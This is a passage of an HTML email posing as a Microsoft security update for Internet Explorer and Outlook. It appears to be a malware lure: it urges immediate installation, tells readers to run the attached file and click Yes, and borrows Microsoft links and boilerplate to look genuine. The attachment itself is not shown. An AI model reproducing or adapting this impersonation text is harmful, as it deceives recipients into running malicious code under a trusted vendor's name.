<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nzjwywb" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nzjwywb" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nzjwywb" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nzjwywb" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal